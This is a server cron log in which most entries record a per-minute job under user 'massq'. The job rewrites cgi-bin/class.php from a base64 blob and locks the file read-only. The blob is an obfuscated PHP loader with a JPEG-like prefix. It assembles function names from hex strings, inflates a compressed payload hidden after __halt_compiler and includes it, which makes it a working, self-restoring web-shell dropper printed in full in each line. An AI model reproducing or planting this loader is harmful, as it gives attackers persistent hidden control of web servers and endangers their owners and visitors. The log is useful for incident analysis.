Nov 15 00:31:01 server CROND[12200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:32:01 server CROND[13108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:33:01 server CROND[14033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:34:01 server CROND[14808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:35:01 server CROND[15783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:35:01 server CROND[15786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:35:01 server CROND[15789]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 00:35:01 server CROND[15791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:35:01 server CROND[15790]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 00:36:01 server CROND[16768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:37:01 server CROND[17473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:38:01 server CROND[17785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:39:01 server CROND[18054]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:39:01 server CROND[18055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:40:01 server CROND[18337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:40:01 server CROND[18339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:40:01 server CROND[18338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:40:01 server CROND[18343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 00:41:01 server CROND[18716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:42:01 server CROND[19000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:42:01 server CROND[19001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:43:02 server CROND[19374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
